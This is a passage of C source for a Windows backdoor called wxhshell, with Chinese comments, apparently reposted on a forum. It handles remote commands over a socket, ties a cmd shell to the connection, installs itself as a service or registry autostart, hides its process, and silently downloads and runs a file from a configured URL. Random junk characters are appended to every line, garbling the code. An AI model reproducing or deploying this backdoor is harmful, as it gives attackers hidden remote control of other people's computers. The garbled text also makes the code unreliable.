  // 帮助 j%D{z5,nKm  
  case '?': { wc~s:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mP/#hwzB&q  
    break; $CJf 0[|  
  } cui%r!D  
  // 安装 m@lUJY  
  case 'i': { *M*WjEOA  
    if(Install()) xWqV~NnE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :475FPy]  
    else <}h <By)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tN_=&|{WE4  
    break; tIV{uVM[|D  
    } =tY%`e  
  // 卸载 lkly2|wA  
  case 'r': { BlZB8KI~  
    if(Uninstall()) a7uL {*ZR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jIwN,H1$-  
    else ){z#Y#]dP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tw =A] a*  
    break; k.2GIc:5  
    } 9;uH}j8sE  
  // 显示 wxhshell 所在路径 %'=2Jy6h  
  case 'p': { &<_q00F  
    char svExeFile[MAX_PATH]; :Ny[?jt c  
    strcpy(svExeFile,"\n\r"); LFqY2,#i  
      strcat(svExeFile,ExeFile); evD=]iVD  
        send(wsh,svExeFile,strlen(svExeFile),0); !syyOfu`}  
    break; fAz4>_4  
    } NFtA2EMLu[  
  // 重启 MK@rx6<9  
  case 'b': { jJNl{nyq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6uKth mr  
    if(Boot(REBOOT)) (d@(QJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Q<3TfC  
    else { Wd+G)Mu_=  
    closesocket(wsh); :SW vH-]  
    ExitThread(0); CB,2BTtRE  
    } .Y^3G7On  
    break; KaS*LDzw  
    } PC+Soh*  
  // 关机 ?Q+*[YEJ5  
  case 'd': { KKb7dZbt<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zY@0R`{@p  
    if(Boot(SHUTDOWN)) gdoaXw;Sy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 64 'QTF{D  
    else { *JZ9'|v_H  
    closesocket(wsh); ZR%$f-  
    ExitThread(0); /ueOc<[8"  
    } (UhJ Pco"  
    break; }EHL }Q  
    } BzH0"xq^  
  // 获取shell _TmKn!Jw  
  case 's': { E(_k#X  
    CmdShell(wsh); Rq e|7/As  
    closesocket(wsh); @%*@Rar  
    ExitThread(0); n%RaEL  
    break; >?)_, KL  
  } :xq{\"r  
  // 退出 "VHT5k  
  case 'x': { ~`^kP.()  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BB9eQ: xO  
    CloseIt(wsh); $cuBd  
    break; 1{]S[\F]  
    } ^+-]V9?+  
  // 离开 [{#T N  
  case 'q': { %C #Ps   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &iq'V*+-\  
    closesocket(wsh); WA1yA*S  
    WSACleanup(); \ZhkOl  
    exit(1); $Q}L*4?]  
    break; p,|)qr:M  
        } R/fE@d2~In  
  } 92R,o'#  
  } F7w\ctUP  
6(t'B!x  
  // 提示信息 CS*lk!C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [`E_/95  
} bG*l_  
  } ?/5<}W#7}  
xluA jOQ6  
  return; hVT>HER  
} $FIJI^Kd7  
>Di`zw~  
// shell模块句柄 =jpRv<X|,  
int CmdShell(SOCKET sock) 0)\(y   
{ ;{&4jcV*  
STARTUPINFO si; Y*A y=@z=y  
ZeroMemory(&si,sizeof(si)); pFiE2V_aS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bF*Kb"!CF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =B'Yx  
PROCESS_INFORMATION ProcessInfo; i$}G[v<4  
char cmdline[]="cmd"; )+hJi/g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _8-1wx  
  return 0; Er8F_,M+  
} p[%~d$JUq  
a #s Nd  
// 自身启动模式 r8N)]Hs ZH  
int StartFromService(void) Y#-c<o}f  
{ ) k[XO  
typedef struct pNuU{:9 B0  
{ qJK9C `T%  
  DWORD ExitStatus; mI:D  
  DWORD PebBaseAddress; 4DP<)KX  
  DWORD AffinityMask; |a /cw"  
  DWORD BasePriority; %iYro8g!,  
  ULONG UniqueProcessId; +!`$(  
  ULONG InheritedFromUniqueProcessId; Ln+ k_  
}   PROCESS_BASIC_INFORMATION; *!Gb_!98  
~R=p[h)  
PROCNTQSIP NtQueryInformationProcess; Eg&Q,dH[  
4\ )WMP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MIZ!+[At  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [xGL0Z%)t  
^ yF Wvfh4  
  HANDLE             hProcess; RLLL=?W@  
  PROCESS_BASIC_INFORMATION pbi; tpeMq -  
{- MhhRa5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @Xh8kvc81  
  if(NULL == hInst ) return 0; ,O^kZ}b  
-)bu&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zH~g5xgh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c$u#U~~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0lcwc"_DZX  
LS# _K-  
  if (!NtQueryInformationProcess) return 0; #L*MMC"  
QZO<'q`L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +:c}LCI9<  
  if(!hProcess) return 0; ,g|ht%"  
]^a{?2 ei  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KO}TCa  
-W})<{End  
  CloseHandle(hProcess); *>o@EUArN  
u+jx3aP:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~+RrL,t#  
if(hProcess==NULL) return 0; xBw ua;  
t)(>E'X x  
HMODULE hMod; {cw+kY]m4-  
char procName[255]; eR3MU]zF  
unsigned long cbNeeded; H66~!J0;a  
?ia O6HD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N a.e1A&?j  
uIJ zz4  
  CloseHandle(hProcess); ?4Zo0DiUB  
z^%`sUgP  
if(strstr(procName,"services")) return 1; // 以服务启动 REk^pZ3B  
!+Sd%2o  
  return 0; // 注册表启动 ry* 9  
} q'biTn]2  
1gYvp9Ma  
// 主模块 :ZM=P3QZ  
int StartWxhshell(LPSTR lpCmdLine) @Hp=xC9V  
{ }k8&T\V!  
  SOCKET wsl; wG22ffaki  
BOOL val=TRUE; oOQ0f |MGp  
  int port=0; ]ddL'>$c$  
  struct sockaddr_in door; L'>0E(D  
^c sOXP=Yp  
  if(wscfg.ws_autoins) Install(); BT5~MYBl  
kh>i#9Ie  
port=atoi(lpCmdLine); '}P$hP_d  
R_:-Z .  
if(port<=0) port=wscfg.ws_port; h#|Ac>fz  
sNC~S%[  
  WSADATA data; gkx<<)y l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ve(@=MJ  
e#tWQM3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y#lg)nB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cW^u4%f't'  
  door.sin_family = AF_INET; 3 +D4$Y"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |q_Hiap#a  
  door.sin_port = htons(port); GsE =5A8  
$[(FCS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;, u7)  
closesocket(wsl);  <>=abgg  
return 1; ` B+Pl6l)F  
} Pj*"2 LBW#  
@#5?tk0  
  if(listen(wsl,2) == INVALID_SOCKET) { (G{2ec:?  
closesocket(wsl); ~$ 4!C'0  
return 1; v%Su#xq/  
} NbhQ-  
  Wxhshell(wsl); qNbgN{4  
  WSACleanup(); Ymg,NkiP0  
i$'#7U  
return 0; ogE|8`Tq^  
d1d:5 b  
} kmsgaB7?  
8PW3x-+  
// 以NT服务方式启动 =,W~^<\"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8';huq@C{  
{ /KCIb:U  
DWORD   status = 0; H^w Inkf>  
  DWORD   specificError = 0xfffffff; l`AA<Rj*O-  
6J\A%i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dt+u f5o(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &-`a`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T4"*w  
  serviceStatus.dwWin32ExitCode     = 0; x*F_XE1#M  
  serviceStatus.dwServiceSpecificExitCode = 0; jX91=78d  
  serviceStatus.dwCheckPoint       = 0; M4}zRr([.5  
  serviceStatus.dwWaitHint       = 0; ot,e?lF  
Jb` yK@x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k.#[h@Pm  
  if (hServiceStatusHandle==0) return; #K[6Ai=We}  
VK$s+"  
status = GetLastError(); n0'"/zyc  
  if (status!=NO_ERROR) 0]t7(P"F6  
{ dIvvJk8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ltG|#(  
    serviceStatus.dwCheckPoint       = 0; k|_LF[*Z  
    serviceStatus.dwWaitHint       = 0; ^9*Jz{e  
    serviceStatus.dwWin32ExitCode     = status; SV_b(wP9  
    serviceStatus.dwServiceSpecificExitCode = specificError; )'t&LWS~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NiH.Pv)Oa'  
    return; >`.$Tyw  
  } 2lBfc  
Ezw<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zk 9i}H  
  serviceStatus.dwCheckPoint       = 0; x?-kt.M  
  serviceStatus.dwWaitHint       = 0; .&c!k1kH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zRF +D+  
} o^& nkR  
6ALUd^  
// 处理NT服务事件,比如:启动、停止 AG<TY<nqL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W!WeYV}kb  
{ r#' E;Yx  
switch(fdwControl) Fpf-Fa-K\b  
{ .ID9Xd$fky  
case SERVICE_CONTROL_STOP: %(n^re uP  
  serviceStatus.dwWin32ExitCode = 0; nL-kBW Ed>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -&_;x&k /  
  serviceStatus.dwCheckPoint   = 0; +^@6{1  
  serviceStatus.dwWaitHint     = 0; 5NAB^&{Z<X  
  { /s~&$(d59o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \I`g[nT|  
  } e't1.%w  
  return; .2:S0=xt<  
case SERVICE_CONTROL_PAUSE: Z?tw#n[T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F6 c1YI[  
  break; 5Gsjt+ o  
case SERVICE_CONTROL_CONTINUE: [+Y;w`;Fq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SB2Ij',  
  break; e` D?x1-  
case SERVICE_CONTROL_INTERROGATE: /2e,,)4g  
  break; dW>$C_`?  
}; *%`jcF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qz/d6-0"  
} K yFR;.F-  
B< BS>(Nr>  
// 标准应用程序主函数 14;lB.$p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |9cSG),z  
{ /"OJ~e_%  
WL/9r *jW  
// 获取操作系统版本 "f<+~  
OsIsNt=GetOsVer(); j*}2AI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "jG-)k`a  
,}_uk]AQ  
  // 从命令行安装 \Zms  
  if(strpbrk(lpCmdLine,"iI")) Install();  #mcU);s  
I &I q  
  // 下载执行文件 fE/|U|5L[  
if(wscfg.ws_downexe) { 8NzXe 7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U/I+A|S[  
  WinExec(wscfg.ws_filenam,SW_HIDE); y1 53ax  
} qJrMr4:F  
G@;I^_gN  
if(!OsIsNt) { [E/}-m6g  
// 如果时win9x,隐藏进程并且设置为注册表启动 )!(etB=`y  
HideProc(); JqmKD4p  
StartWxhshell(lpCmdLine); /Jci1o  
} 9 ]W4o"  
else w_eUU)z  
  if(StartFromService()) o|0QstSCl  
  // 以服务方式启动 9F"Q2^l'  
  StartServiceCtrlDispatcher(DispatchTable); /*yPy?  
else Rk.GrLp  
  // 普通方式启动 vswBK-w(Z  
  StartWxhshell(lpCmdLine); 2DbM48\E  
+4%: q~C  
return 0; vs~lyM/  
}
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只看该作者 1 发表于: 2006-10-10
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